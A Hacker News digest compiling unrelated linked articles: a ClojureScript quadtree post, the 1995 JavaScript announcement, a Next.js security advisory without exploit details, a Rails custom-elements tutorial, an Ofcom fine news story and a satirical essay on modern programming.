Basically my idea is to hash the center, ie "[50,50]" and convert that to a hex color. In Clojurescript, you could do it like so:

(defn hash-str
  " Standard 32bit hash: [..].map((% << 5) - h + ch(idx) "
  [ s ]
  (reduce #(-> (bit-shift-left %1 5)
               (- %1)
               (+ (.charCodeAt %2 0))
               (bit-or 0))
          0 s))

(defn get-tree-color
  [ {c :center} ]
  (let [hash (bit-and (hash-str (str c)) 0xffffff)
        hex  (.toString hash 16)]
    (str "#" (apply str (repeat (- 6 (count hex)) "0")) hex)))

That's basically all you need.

Conclusion

Quadtrees are great when you have more work to do, than resources available. Imagine using a VR headset. Whichever point you're focused at, needs to be crisp in detail, you want the highest resolution possible on your hardware. Everything outside of your focus area should be dialed down in resolution because your eyes won't be able to pick it up anyway, so that compute power can be used elsewhere. There are many other applications.

Clojurescript is great, because it allows us to express ourselves succinctly and functionally. The core of this implementation is only about 25 lines long. That's much easier to reason about and debug, than some other implementations I've seen, which span several hundred lines.

Shadow-cljs is great for more reasons than I can cover in this post, but I will highlight the ability to quickly ship highly optimized bit of JS using only 10 lines of configuration - And they even throw in a free webserver for easy testing and repl driven development, what's not to like?

Full source code: Github

Imo.im – Instant Messenger

Hacker News
imo.im
2025-12-04 12:25:47
Comments...
Original Article

imo: Free Video Calls and Messages - Official Website

30 years ago today "Netscape and Sun announce JavaScript"

Hacker News
web.archive.org
2025-12-04 11:32:00
Comments...
Original Article
Press Releases

N ETSCAPE AND S UN A NNOUNCE J AVA S CRIPT, THE O PEN, C ROSS-PLATFORM O BJECT S CRIPTING L ANGUAGE FOR E NTERPRISE N ETWORKS AND THE I NTERNET

28 I NDUSTRY-LEADING C OMPANIES TO E NDORSE J AVA S CRIPT AS A C OMPLEMENT TO J AVA FOR E ASY O NLINE A PPLICATION D EVELOPMENT


MOUNTAIN VIEW, Calif. (December 4, 1995) -- Netscape Communications Corporation (NASDAQ: NSCP) and Sun Microsystems, Inc. (NASDAQ:SUNW), today announced JavaScript, an open, cross-platform object scripting language for the creation and customization of applications on enterprise networks and the Internet. The JavaScript language complements Java, Sun's industry-leading object-oriented, cross-platform programming language. The initial version of JavaScript is available now as part of the beta version of Netscape Navigator 2.0, which is currently available for downloading from Netscape's web site.

In addition, 28 industry-leading companies, including America Online, Inc., Apple Computer, Inc., Architext Software, Attachmate Corporation, AT&T;, Borland International, Brio Technology, Inc., Computer Associates, Inc., Digital Equipment Corporation, Hewlett-Packard Company, Iconovex Corporation, Illustra Information Technologies, Inc., Informix Software, Inc., Intuit, Inc., Macromedia, Metrowerks, Inc., Novell, Inc., Oracle Corporation, Paper Software, Inc., Precept Software, Inc., RAD Technologies, Inc., The Santa Cruz Operation, Inc., Silicon Graphics, Inc., Spider Technologies, Sybase, Inc., Toshiba Corporation, Verity, Inc., and Vermeer Technologies, Inc., have endorsed JavaScript as an open standard object scripting language and intend to provide it in future products. The draft specification of JavaScript, as well as the final draft specification of Java, is planned for publishing and submission to appropriate standards bodies for industry review and comment this month.

JavaScript is an easy-to-use object scripting language designed for creating live online applications that link together objects and resources on both clients and servers. While Java is used by programmers to create new objects and applets, JavaScript is designed for use by HTML page authors and enterprise application developers to dynamically script the behavior of objects running on either the client or the server. JavaScript is analogous to Visual Basic in that it can be used by people with little or no programming experience to quickly construct complex applications. JavaScript's design represents the next generation of software designed specifically for the Internet and is:

  • designed for creating network-centric applications
  • complementary to and integrated with Java
  • complementary to and integrated with HTML
  • open and cross-platform.
Java, developed by Sun, is an object-oriented programming language that operates independent of any operating system or microprocessor. Java programs called applets can be transmitted over a network and run on any client, providing the multimedia richness of a CD-ROM over corporate networks and the Internet. Java has been widely hailed by programmers because it eliminates the need to port applications, and by managers of information systems for its potential to lower the costs of distributing and maintaining applications across the network.

With JavaScript, an HTML page might contain an intelligent form that performs loan payment or currency exchange calculations right on the client in response to user input. A multimedia weather forecast applet written in Java can be scripted by JavaScript to display appropriate images and sounds based on the current weather readings in a region. A server-side JavaScript script might pull data out of a relational database and format it in HTML on the fly. A page might contain JavaScript scripts that run on both the client and the server. On the server, the scripts might dynamically compose and format HTML content based on user preferences stored in a relational database, and on the client, the scripts would glue together an assortment of Java applets and HTML form elements into a live interactive user interface for specifying a net-wide search for information.

Java programs and JavaScript scripts are designed to run on both clients and servers, with JavaScript scripts used to modify the properties and behavior of Java objects, so the range of live online applications that dynamically present information to and interact with users over enterprise networks or the Internet is virtually unlimited. Netscape will support Java and JavaScript in client and server products as well as programming tools and applications to make this vision a reality.

"Programmers have been overwhelmingly enthusiastic about Java because it was designed from the ground up for the Internet. JavaScript is a natural fit, since it's also designed for the Internet and Unicode-based worldwide use," said Bill Joy, co-founder and vice president of research at Sun. "JavaScript will be the most effective method to connect HTML-based content to Java applets."

Netscape's authoring and application development tools -- Netscape Navigator Gold 2.0, Netscape LiveWire and Netscape LiveWire Pro -- are designed for rapid development and deployment of JavaScript applications. Netscape Navigator Gold 2.0 enables developers to create and edit JavaScript scripts, while Netscape LiveWire enables JavaScript programs to be installed, run and managed on Netscape servers, both within the enterprise and across the Internet. Netscape LiveWire Pro adds support for JavaScript connectivity to high-performance relational databases from Illustra, Informix, Microsoft, Oracle and Sybase. Java and JavaScript support are being built into all Netscape products to provide a unified, front-to-back, client/server/tool environment for building and deploying live online applications.

Java is available to developers free of charge. The Java Compiler and Java Developer's Kit as well as the HotJava browser and related documentation are available from Sun's web site at http://java.sun.com. In addition, the Java source code can be licensed for a fee. Details on licensing are also available via the java.sun.com web page. To date, Sun has licensed Java to a number of leading technology companies, including Borland, Macromedia, Mitsubishi, Netscape, Oracle, Silicon Graphics, Spyglass, and Toshiba. Sun's Workshop for Java toolkit is scheduled for release in Spring 1996. Sun's NEO product family, the first complete development, operating and management environment for object-oriented networked applications, will also use Java-enabled browsers as front-ends to the NEO environment.

Netscape and Sun plan to propose JavaScript to the W3 Consortium (W3C) and the Internet Engineering Task Force (IETF) as an open Internet scripting language standard. JavaScript will be an open, freely licensed proposed standard available to the entire Internet community. Existing Sun Java licensees will receive a license to JavaScript. In addition, Sun and Netscape intend to make a source code reference implementation of JavaScript available for royalty-free licensing, further encouraging its adoption as a standard in a wide variety of products.

Netscape Communications Corporation is a premier provider of open software for linking people and information over enterprise networks and the Internet. The company offers a full line of Netscape Navigator clients, Netscape servers, development tools and Netscape Internet Applications to create a complete platform for next-generation, live online applications. Traded on Nasdaq under the symbol "NSCP", Netscape Communications Corporation is based in Mountain View, California.

With annual revenues of $6 billion, Sun Microsystems, Inc. provides solutions that enable customers to build and maintain open network computing environments. Widely recognized as a proponent of open standards, the company is involved in the design, manufacture and sale of products, technologies and services for commercial and technical computing. Sun's SPARC(TM) workstations, multiprocessing servers, SPARC microprocessors, Solaris operating software and ISO-certified service organization each rank No. 1 in the UNIX(R) industry. Founded in 1982, Sun is headquartered in Mountain View, Calif., and employs more than 14,000 people worldwide.

Additional information on Netscape Communications Corporation is available on the Internet at , by sending email to info@netscape.com or by calling 415-528-2555. Additional information on Sun Microsystems is available on the Internet at http://www.sun.com or, for Java information, http://java.sun.com Netscape Communications, the Netscape Communications logo, Netscape, and Netscape Navigator are trademarks of Netscape Communications Corporation. JavaScript and Java are trademarks of Sun Microsystems, Inc. All other product names are trademarks of their respective companies.

WHAT COMPANIES SAY ABOUT JAVASCRIPT

"JavaScript brings the power of rapid multimedia application development with cross-platform mobility at both the operating system and architecture level. We are pleased to integrate this powerful language into our Developer's Program."
Mike Connors
President
America Online Technologies
"JavaScript will allow us to easily create personalized applets for the Excite service. These applets, combined with the rich functionality of the Excite service, will integrate more fully into the users experience as they explore and navigate the Internet."
Graham Spencer
Chief Technology Officer
Architext Software
"AT&T;'s support for JavaScript is more than support for cool technology -- it is support for an open standards process. Open standards are and will be as important to the success of the Internet as open connectivity."
Tom Evslin
Vice President, Gateway Services
AT&T;
"JavaScript and Java represent important steps in the evolution of the Internet and Intranets for business computing. JavaScript allows Internet applications to easily connect to production databases such as CA-OpenIngres, while Java allows easy-to-use, multi-platform Web clients for CA-Unicenter and business applications such as CA-Masterpiece, CA-ManMan/X and CA-Accpac."
Nancy Li
Executive Vice President and CTO
Computer Associates
"Tools like JavaScript will unleash a new wave of creativity and transform the Internet in ways no one can predict. JavaScript and other developments will demand increased system performance, ideally met by Digital's Alpha systems architecture."
Rose Ann Giordano
Vice President, Internet Business Group
Digital Equipment Corporation
"JavaScript is an exciting technology because it represents the next generation of software designed specifically for the Internet. Hewlett-Packard is committed to open standards and is a supporter of JavaScript because it complements Hewlett-Packard's open systems architecture."
Jan Silverman
Director
Hewlett-Packard
"We plan to integrate our automatic document indexing and abstracting technology to leverage the power and functionality of JavaScript. The power and use of our technologies greatly enhances the server and its delivery of timely and valuable documents for web clients."
Robert Griggs
Vice President, Sales and Marketing
Iconovex Corporation
"JavaScript empowers developers to create a powerful new class of multimedia rich applications in a platform-independent development environment. Illustra's unique extensible Object-Relational architecture makes it an ideal intelligent queryable store for content management applications using Java and JavaScript objects."
Dr. Michael Stonebraker
Founder and Chief Technology Officer
Illustra Information Technologies
"JavaScript will benefit users by enabling live online applications. These applications need a powerful database engine for content management. Informix's OnLine Dynamic Server is uniquely suited for these applications. By partnering with Netscape, we are bringing the best in online database and live, interactive technology to web users."
Phil White
Chairman and CEO
Informix Software
"Intuit will take advantage of JavaScript and Netscape's authoring and application development tools to create compelling online financial services. Netscape's open, cross-platform environment allows Intuit to efficiently develop and deploy online applications."
Bill Harris
Executive Vice President
Intuit
"JavaScript is a great way to get cross-platform scriptable access to databases and move the resulting data into Macromedia Shockwave, where it can be rendered, animated and made into live interactive multimedia for the Internet. JavaScript is also a promising core technology for the new multimedia publishing tool that Macromedia is building."
Bud Colligan
President and CEO
Macromedia
"The creation of a general, standard scripting language for Java development will accelerate adoption of this new, exciting technology for delivering dynamic, live content to the consumer. Metrowerks will support JavaScript as part of our effort to deliver tools for Java as the programming platform of choice for new Internet development."
Greg Galanos
President and CEO
Metrowerks, Inc.
"Paper Software plans to use JavaScript as the glue which lets our development partners couple Java, plug-ins, and Paper's multi-dimensional VRML user interfaces within a distributed, online application."
Mike McCue
Chief Executive Officer
Paper Software
"JavaScript is a perfect complement to the software Precept is developing to let the Internet and corporate Intranets effectively handle real-time multimedia traffic. By serving as a means to integrate our products into web solutions, JavaScript will enable a wide range of web-based software to take advantage of real-time audio and video."
Judy Estrin
Precept Software
"SCO looks forward to supporting the JavaScript language on both our OpenServer and UnixWare product lines. JavaScript will enable developers to create substantially more stimulating and interactive web-based applications than ever before, giving them the edge they need to compete for the attention of the increasingly sophisticated population of Internet users."
Richard Treadway
Vice President, Layered Products
SCO
"JavaScript is an exact match for Silicon Graphics suite of content creation and application development tools. This combination will benefit the industry by enabling the development of a richer set of interactive applications."
Tom Jermoluk
President and COO
Silicon Graphics
"Spider will integrate open and emerging Internet standards such as JavaScript into our product offering. Spider is committed to providing the most advanced solution for visual development and high performance deployment of commercial Web/database applications."
Zack Rinat
President and CEO
Spider Technologies
"The Java and JavaScript languages will serve an important role in allowing Internet applications to take advantage of enterprise client/server computing. Sybase will enable our customers to utilize these languages as one of several ways to provide Internet access to the entire Sybase architecture in a high performance, customer-centric, safe environment."
Mitchell Kertzman
Executive Vice President and CEO
Sybase's Powersoft Division
"Java is tremendously interesting to Verity as a powerful tool to provide dynamic display capabilities and client-side manipulation of results from our Search and Agent platforms. Configurability is a key strength of Verity servers, and the availability of JavaScript provides an ideal tool for non-programmers to harness the power of Java objects to customize the look and feel of their Verity applications."
Steve Zocchi
Director, Internet Marketing
Verity
"The client-server, multi-vendor, cross-platform nature of JavaScript is a natural fit with the Vermeer FrontPage web authoring system. Tracking innovative, enabling Web technologies is an important priority for Vermeer, and we are moving quickly to incorporate the JavaScript language into Front Page and future products."
John R. Mandle
Chief Executive Officer
Vermeer Technologies

Company Contacts:

America Online, Inc. Pam Mcgraw: (703) 556-3746
Apple Computer, Inc. Nancy Morrison: (408) 862-6200
Architext Software Mike Brogan/Roederer-Johnson: (415) 802-1850
AT&T; Mary Whelan: (908) 658-6000
Borland International Bill Jordan: (408) 431-4721
Brio Technology, Inc. Yorgen Edholm: yhe@brio.com
Computer Associates, Inc. Yogesh Gupta: (516) 342-4045
Digital Equipment Corporation Ethel Kaiden: (508) 486-2814
Hewlett-Packard Company Bill Hodges: (408) 447-7041
Iconovex Corporation Robert Griggs: (800) 943-0292
Illustra Information Technologies, Inc. Sandra Bateman: (510) 873-62 09
Informix Software, Inc. Cecilia Denny: (415) 926-6420
Intuit, Inc. Sheryl Ross: (415) 329-3569
Macromedia Miles Walsh: (415) 252-2000
Metrowerks, Inc. Greg Galanos: gpg@austin.metrowerks.com
Novell, Inc. Christine Hughes: (408) 577-7453
Oracle Corporation Mark Benioff: (415) 506-7000
Paper Software, Inc. Mike Mccue: (914) 679-2440
Precept Software, Inc. Judy Estrin: (408) 446-7600
RAD Technologies, Inc. Jeff Morgan: jmorgan@rad.com
The Santa Cruz Operation, Inc. Marty Picco: (408) 425-7222
Silicon Graphics, Inc. Virginia Henderson: (415) 933-1306
Spider Technologies Diana Jovin: (415) 969-6128
Sybase, Inc. Robert Manetta: (510) 922-5742
Verity, Inc. Marguerite Padovani: (415) 960-7724
Vermeer Technologies, Inc. Ed Cuoco: (617) 576-1700x130

Netscape Communications Corporation is a premier provider of open software for linking people and information over enterprise networks and the Internet. The company offers a full line of Netscape Navigator clients, Netscape servers, development tools and Netscape Internet Applications to create a complete platform for next-generation, live online applications. Traded on Nasdaq under the symbol "NSCP", Netscape Communications Corporation is based in Mountain View, California.

Netscape Communications, the Netscape Communications logo, Netscape, Netscape Commerce Server, Netscape Communications Server, Netscape Proxy Server and Netscape News Server are trademarks of Netscape Communications Corporation. NCSA Mosaic is a trademark of the University of Illinois. All other product names are trademarks of their respective companies.


© 1999 Netscape, All Rights Reserved. Legal & Privacy Notices
This site powered by Netscape SuiteSpot servers .

NextJS Security Vulnerability

Hacker News
nextjs.org
2025-12-04 11:14:04
Comments...
Original Article

A critical vulnerability has been identified in the React Server Components (RSC) protocol. The issue is rated CVSS 10.0 and can allow remote code execution when processing attacker-controlled requests in unpatched environments.

This vulnerability originates in the upstream React implementation ( CVE-2025-55182 ). This advisory ( CVE-2025-66478 ) tracks the downstream impact on Next.js applications using the App Router.

Impact

The vulnerable RSC protocol allowed untrusted inputs to influence server-side execution behavior. Under specific conditions, an attacker could craft requests that trigger unintended server execution paths. This can result in remote code execution in unpatched environments.

Affected Next.js Versions

Applications using React Server Components with the App Router are affected when running:

  • Next.js 15.x
  • Next.js 16.x
  • Next.js 14.3.0-canary.77 and later canary releases

Next.js 13.x, Next.js 14.x stable, Pages Router applications, and the Edge Runtime are not affected.

Fixed Versions

The vulnerability is fully resolved in the following patched Next.js releases:

  • 15.0.5
  • 15.1.9
  • 15.2.6
  • 15.3.6
  • 15.4.8
  • 15.5.7
  • 16.0.7

These versions include the hardened React Server Components implementation.

Required Action

All users should upgrade to the latest patched version in their release line:

If you are on Next.js 14.3.0-canary.77 or a later canary release, downgrade to the latest stable 14.x release:

There is no configuration option to disable the vulnerable code path.

Discovery

Thank you to Lachlan Davidson for discovering and responsibly disclosing this vulnerability. We are intentionally limiting technical detail in this advisory to protect developers who have not yet upgraded.

References

Building optimistic UI in Rails (and learn custom elements)

Hacker News
railsdesigner.com
2025-12-04 11:03:16
Comments...
Original Article

Custom elements are one of those web platform features that sound complicated but turn out to be surprisingly simple. If you have used Hotwire in Rails, you have already used them. Both <turbo-frame> and <turbo-stream> are custom elements . They are just HTML tags with JavaScript behavior attached.

This article walks through what custom elements are, how they compare to Stimulus controllers and how to build them yourself! Starting with a simple counter and ending with an optimistic form that updates instantly without waiting for the server . 🤯

The code is available on GitHub .

What are custom elements?

Custom elements let you define your own HTML tags with custom behavior. They fall under the Web Components umbrella, alongside Shadow DOM (encapsulated styling and markup) and templates (reusable HTML fragments), though each can be used independently. To use custom elements, just define a class, register it with the browser, and use your new tag anywhere (Shadow DOM or templates not required).

Here is the simplest possible custom element:

class HelloWorld extends HTMLElement {
  connectedCallback() {
    this.textContent = "Hello from a custom element 👋"
  }
}

customElements.define("hello-world", HelloWorld)

Now you can use <hello-world></hello-world> in your HTML and it will display the message. The connectedCallback runs when the element is added to the page. This is similar to Stimulus’s connect() method. There is also, just like with Stimulus, a disconnectedCallback . This can be used similar to Stimulus’: removing event listeners and so on.

Custom element names must contain a hyphen. This prevents conflicts with future HTML elements. So <hello-world> works, but <helloworld> does not.

Attributes and properties

Custom elements can read attributes just like regular HTML elements:

class GreetUser extends HTMLElement {
  connectedCallback() {
    const name = this.getAttribute("name") || "stranger"

    this.textContent = `Hello, ${name}!`
  }
}

customElements.define("greet-user", GreetUser)

Use it like this:

<greet-user name="Cam"></greet-user>

To react to attribute changes, use attributeChangedCallback :

class GreetUser extends HTMLElement {
  static observedAttributes = ["name"]

  connectedCallback() {
    this.#render()
  }

  attributeChangedCallback(name, oldValue, newValue) {
    this.#render()
  }

  // private

  #render() {
    const name = this.getAttribute("name") || "stranger"

    this.textContent = `Hello, ${name}!`
  }
}

The observedAttributes array tells the browser which attributes to watch. Without it, attributeChangedCallback never fires.

The is attribute

You can extend built-in HTML elements using the is attribute. For example, extending a button:

class FancyButton extends HTMLButtonElement {
  connectedCallback() {
    this.classList.add("fancy")
  }
}

customElements.define("fancy-button", FancyButton, { extends: "button" })

Then use it like:

<button is="fancy-button">Click me</button>

This keeps all the built-in button behavior while adding your custom features (simply adding the fancy class in above example). However, Safari does not support this feature . So I stick to autonomous custom elements (the hyphenated tags) for better compatibility.

Custom elements vs Stimulus

If you have used Stimulus, custom elements will feel familiar. Here is how they compare:

Feature Stimulus Custom Element
Lifecycle connect() / disconnect() connectedCallback() / disconnectedCallback()
Finding elements targets querySelector() / direct children
State values attributes + properties
Events action attributes addEventListener()
Framework Requires Stimulus Browser-native

Stimulus is great for connecting behavior to existing HTML. Custom elements are better when you want a reusable component that works anywhere. They are also simpler when you do not need Stimulus’s conventions.

The main difference is how you find elements. Stimulus uses targets:

<div data-controller="counter">
  <span data-counter-target="count">0</span>

  <button data-action="click->counter#increment">+</button>
</div>

Custom elements use standard DOM/query methods (see example below):

<click-counter>
  <span class="count">0</span>

  <button>+</button>
</click-counter>

Custom elements feel more like writing vanilla JavaScript. Stimulus is more convention-based (which is often confusing to many).

In the end it is all a regular JavaScript class. I’ve explored these extensively in the book JavaScript for Rails Developers . 💡

Building a simple counter

Time to build something. Start with a counter that increments when clicked:

// app/javascript/components/click_counter.js
class ClickCounter extends HTMLElement {
  connectedCallback() {
    this.count = 0

    this.addEventListener("click", () => this.#increment())
  }

  #increment() {
    this.count++

    this.querySelector("span").textContent = this.count
  }
}

customElements.define("click-counter", ClickCounter)

Import it in your application JavaScript:

// app/javascript/application.js
import "@hotwired/turbo-rails"
import "controllers"

import "components/click_counter"

Configure importmap to find the new directory:

# config/importmap.rb
pin_all_from "app/javascript/controllers", under: "controllers"

pin_all_from "app/javascript/components", under: "components"

Now use it in your views:

<click-counter>
  <button>Clicked <span>0</span> times</button>
</click-counter>

Click the button and watch the counter increment. Simple! 😊

Building an optimistic form

Now for something a bit more useful. Build a form that updates instantly without waiting for the server. If the save fails, show an error. If it succeeds, keep the optimistic UI.

It will look like this:

See how the message gets appended immediately and then (notice the blue Turbo progress bar) gets replaced with the server rendered version.

The HTML looks like this:

<optimistic-form>
  <form action="<%= messages_path %>" method="post">
    <%= hidden_field_tag :authenticity_token, form_authenticity_token %>

    <%= text_area_tag "message[content]", "", placeholder: "Write a message…", required: true %>

    <%= submit_tag "Send" %>
  </form>

  <template response>
    <%= render Message.new(content: "", created_at: Time.current) %>
  </template>
</optimistic-form>

The <template response> tag (indeed also part of the Web Components standard) holds the display HTML for new messages. When the form submits, the custom element renders this template with the form values and appends it to the list. The form still submits normally to Rails.

Start with the basic structure:

// app/javascript/components/optimistic_form.js
class OptimisticForm extends HTMLElement {
  connectedCallback() {
    this.form = this.querySelector("form")
    this.template = this.querySelector("template[response]")
    this.target = document.querySelector("#messages")

    this.form.addEventListener("submit", () => this.#submit())
  }

  #submit() {
    if (!this.form.checkValidity()) return

    const formData = new FormData(this.form)
    const optimisticElement = this.#render(formData)

    this.target.append(optimisticElement)
  }
}

customElements.define("optimistic-form", OptimisticForm)

The submit method checks form validity first using the browser’s built-in validation. If the form is invalid, let the browser show its validation messages. Otherwise render the optimistic UI and let the form submit normally.

Getting optimistic

Extract the form data and populate the template:

#render(formData) {
  const element = this.template.content.cloneNode(true).firstElementChild

  element.id = "optimistic-message"

  for (const [name, value] of formData.entries()) {
    const field = element.querySelector(`[data-field="${name}"]`)

    if (field) field.textContent = value
  }

  return element
}

The cloneNode(true) creates a copy of the template content. Loop through the form data and update any element with a matching data-field attribute. This is why the partial has a data-field="message[content]" on the message display.

The optimistic element appears in the list immediately, then the form submits to Rails.

The Turbo Stream does not append the message, but replaces the “optimistic message” with the real one from the database:

<%# app/views/messages/create.turbo_stream.erb %>
<%= turbo_stream.replace "optimistic-message", @message %>

Since both the optimistic template and the message partial render the same HTML, the replacement is seamless. The user sees the message appear instantly, then it gets replaced with the real version (with the correct ID, timestamp, etc.) a moment later.

Here is the full implementation:

// app/javascript/components/optimistic_form.js
class OptimisticForm extends HTMLElement {
  connectedCallback() {
    this.form = this.querySelector("form")
    this.template = this.querySelector("template[response]")
    this.target = document.querySelector("#messages")

    this.form.addEventListener("submit", () => this.#submit())
    this.form.addEventListener("turbo:submit-end", () => this.#reset())
  }

  // private

  #submit() {
    if (!this.form.checkValidity()) return

    const formData = new FormData(this.form)
    const optimisticElement = this.#render(formData)

    this.target.append(optimisticElement)
  }

  #render(formData) {
    const element = this.template.content.cloneNode(true).firstElementChild

    element.id = "optimistic-message"

    for (const [name, value] of formData.entries()) {
      const field = element.querySelector(`[data-field="${name}"]`)

      if (field) field.textContent = value
    }

    return element
  }

  #reset() {
    this.form.reset()
  }
}

customElements.define("optimistic-form", OptimisticForm)

Do not forget to import it:

// app/javascript/application.js
import "components/optimistic_form"

Now when you submit the form, the message appears instantly in the list. The form submits to Rails, which responds with a Turbo Stream (I added sleep to mimic a slow response) that replaces the optimistic message with the real one. If the save fails, Rails can show an error message normally.

Cool, right? I’ve used this technique before with a client successfully. Many months later and it holds up nicely.


This pattern can work great for any form where you want instant feedback. Like chat messages, comments or todos. The new item appears immediately. No loading spinners, no waiting.

The key is that the partial lives right within the template element. You are not duplicating it in JavaScript. Change the partial and the optimistic UI updates automatically.

Custom elements make this pattern reusable. Drop <optimistic-form> anywhere in your app. It works with any form and any partial (with client’s project mentioned above I stubbed the partial with more advanved “stand-in” model instance).

Yet another tool in your Rails toolkit. Did this inspire you to use custom elements more too? Let me know below! ❤️

PGlite – Embeddable Postgres

Hacker News
pglite.dev
2025-12-04 10:52:42
Comments...
Original Article

Embeddable Postgres

Run a full Postgres database locally in WASM with reactivity and live sync.

Lightweight

A complete WASM build of Postgres that's under 3MB Gzipped.

Extendable

Dynamic extension loading mechanism, including support for pgvector.

Reactive

Built in support for data loading, synchronisation and live query primitives.

Experience PGlite with database.build

Create and publish a Postgres database using AI
built on PGlite by Supabase :

What would you like to create?

Try PGlite Now

This is a full PGlite Postgres running in your browser.
It even includes pgvector !

Try more extensions in the playground

Porn company fined £1M over inadequate age checks (UK)

Hacker News
www.bbc.co.uk
2025-12-04 10:47:21
Comments...
Original Article

Ofcom has told the BBC it has never heard from a porn company it has fined £1m for failing to comply with the UK Online Safety Act.

It said it had been emailing AVS Group Ltd since it launched its investigation in July, but had not had a response at any point - so the firm had been fined an extra £50,000.

The Act makes it a legal requirement for websites that host pornographic material to put in place what the regulator determines to be "highly effective age assurance" to prevent children from being able to easily access explicit content.

Ofcom said AVS must now implement highly effective age assurance within 72 hours or face an additional penalty of £1,000 a day.

In addition to the AVS fine, Ofcom also announced that one "major social media company" was going through compliance remediation with its enforcement team.

The regulator has not named the platform but says there may be formal action if it does not see sufficient improvement soon.

Ofcom said the fine showed the "tide on online safety" was beginning to turn.

"This year has seen important changes for people, with new measures across many sites and apps now better protecting children from harmful content," said Oliver Griffiths, Ofcom's online safety group director.

"But we need to see much more from tech companies next year and we'll use our full powers if they fall short," he added.

Ofcom has already started issuing fines to some companies for not implementing proper age verification, including deepfake "nudify" applications .

However, online message board 4Chan has so far refused to comply with a £20,000 fine issued by Ofcom over the summer.

The Online Safety Act is being implemented in phases, and is intended to prevent past practices which Ofcom described as online platforms being "unregulated, unaccountable and often unwilling to prioritise people's safety over profits".

Tougher age checks for porn websites were introduced in July, though some people have pointed out these could be easily avoided with a virtual private network (VPN), which reroutes internet traffic.

In October, Pornhub's parent company told BBC News it had seen a 77% drop in UK visitors since the age checks had come in.

Baroness Beeban Kidron, founder of 5Rights Foundation, told the Today programme the fines were "nothing" to tech firms.

"Business disruption is everything," she said.

"Unless we're prepared to use the law, they're not really doing what Parliament asked them to do.

"We need a whole different attitude about the level of intensity and robustness from the regulator to say - we've got the law and we're using it."

The BBC has contacted a company called TubeCorporate, the adult content publishing platform behind AVS group Ltd sites, for a response.

The address which the firm uses is in the central American country Belize, and appears to be the registered address of a large number of companies: although they do not have physical offices there.

Also introduced this year were tougher guidelines on ensuring the internet was safer for women and girls , with Ofcom vowing to name and shame platforms that did not comply.

Critics say the Act needs to be toughened to make the internet safer, particularly for women and girls.

The Human Writes Font

Lobsters
humanwritesfont.com
2025-12-04 10:32:26
Comments...

Tunnl.gg

Hacker News
tunnl.gg
2025-12-04 10:15:53
Comments...

Unreal Tournament 2004 is back

Hacker News
old.reddit.com
2025-12-04 10:06:35
Comments...
Original Article

whoa there, pardner!

Your request has been blocked due to a network policy.

Try logging in or creating an account here to get back to browsing.

If you're running a script or application, please register or sign in with your developer credentials here . Additionally make sure your User-Agent is not empty and is something unique and descriptive and try again. if you're supplying an alternate User-Agent string, try changing back to default as that can sometimes result in a block.

You can read Reddit's Terms of Service here .

If you think that we've incorrectly blocked you or you would like to discuss easier ways to get the data you want, please file a ticket here .

When contacting us, please include your Reddit account along with the following code:

971d7756-c70b-4654-8641-f53418c657da

Programming peaked

Hacker News
functional.computer
2025-12-04 10:01:27
Comments...
Original Article

by Samir Talwar

Tuesday, 25 November 2025 at 09:00 CET

I remember my first job vividly.

It helps, of course, that I still consider many of the people I worked with friends, and I know some of them even still read this blog. (Hi!)

I also think it might have been the beginning of the end. At least, as programming is concerned.

Programming in 2025

It’s 2025. We write JavaScript with types now. It runs not just in a browser, but on Linux. It has a dependency manager, and in true JavaScript style, there’s a central repository which anyone can push anything to. Nowadays it’s mostly used to inject Bitcoin miners or ransomware onto unsuspecting servers, but you might find a useful utility to pad a string if you need it.

We don’t write the JavaScript, of course. We ask an autocorrect machine to make it up, and complain at it until it generates something plausible enough. Often, it does, and it only installs a malicious package 20% of the time. 30%, tops.

Fortunately, when we do need to make manual changes, our editor has our back. The most popular is “VS Code”, which needs only a few gigabytes of RAM to render the text. It ships a web browser, because everything ships a web browser. It can also perform fancy refactoring techniques such as renaming a variable (in a single file).

In order to test our application, we build it regularly. On a modern computer, with approximately 16 cores, each running at 3 GHz, TypeScript only takes a few seconds to compile and run.

Once our work is done, we create a “pull request”. This is a way of emulating open-source development inside a single company, which as we know, is the only way to work. Typically, this means that the code is downloaded and built on another computer, and then several hours later, a colleague will come along and ask to change a few words. Once we change these words, the computer builds everything again, and then the next day, the same colleague will allow the code to be merged into the mainline.

Once it’s merged, we take that JavaScript and package it into a “container”, which is a fancy word for “kitchen sink”. The packaging process takes 20 minutes, because for reasons no one understands, we download the entirety of the Debian package repository every time we do it.

We also download all the JavaScript dependencies again, of course.

Then, we take that container, and attempt to push it to a “registry”. Sometimes it works, sometimes a security scanner complains because we have an insecure version of Perl in the container. We don’t need Perl in the container, but it’s there, and no one knows how to get rid of it. So we turn off the scanner.

Next, we write a lot of YAML to tell something called “k8s” how to run the container. (“K8s” used to stand for something but ever since the wars of 2019, we don’t have enough letters to spell it out, and the true meaning has been lost to time.) Unlike the JavaScript, the YAML is not type-checked, and in fact cannot be, because we use a string templating language to stick bits of YAML inside other YAML. We all agree that this is the best kind of programming.

We run our k8s cluster in the “Cloud”. It’s a bunch of services that run on Linux, but we don’t run Linux ourselves, we run it on VMs that we rent by the hour for approximately the same cost as buying a computer outright every month. We do this because no one knows how to plug a computer in any more.

We send the YAML to the cluster, which eats it up, digests it, and then does something random. Hopefully, it will run a program. It might also reject it, run a different program, or shut down something else. As there’s no way of testing this except doing it, there’s no way of telling.

We therefore have an entirely separate cluster that we use to verify that our sacrifice to the YAML gods is holy.

There was some programming in here somewhere, but I don’t really remember where.

Fifteen years ago

Turns out, I’m old now. But not so old that I’ve forgotten how things have changed.

I started my first real , full-time job in 2010.

We wrote Java, which is a general-purpose, highly-verbose programming language. It’s mostly type-safe (except null , which we did our best to avoid), and achieves this by making you type out everything so many times and verifying that you didn’t make any mistakes.

Like JavaScript, it’s fast to compile, taking only a few seconds as well. Of course, this was on my single-core, 2 GHz computer.

The editor was cool too. We used Eclipse, which was a bit like VS Code. It could also perform refactoring techniques, though it was a bit smarter: it could extract and inline functions, classes, interfaces, etc. It also compiled the code as you typed, so often, you could compile the application and run the tests on every keystroke.

We wrote tests, of course. Usually first, and ran them constantly. We did this using a strange method called “talking to each other”, in which we’d discuss the functionality at hand, and write it down in code so it could be verified. We’d run these tests constantly; it’d usually take around a minute to run all 10,000 unit tests, but you could be a bit more selective if you were in a hurry.

Funnily enough, everything ran at about the same speed as it does now. Strange, that.

Of course, we pushed code directly to trunk. We were pairing, after all. We’d then start work on the next thing, perhaps after a coffee break. Typically, we’d let a tester know so they could check out the changes and take a look.

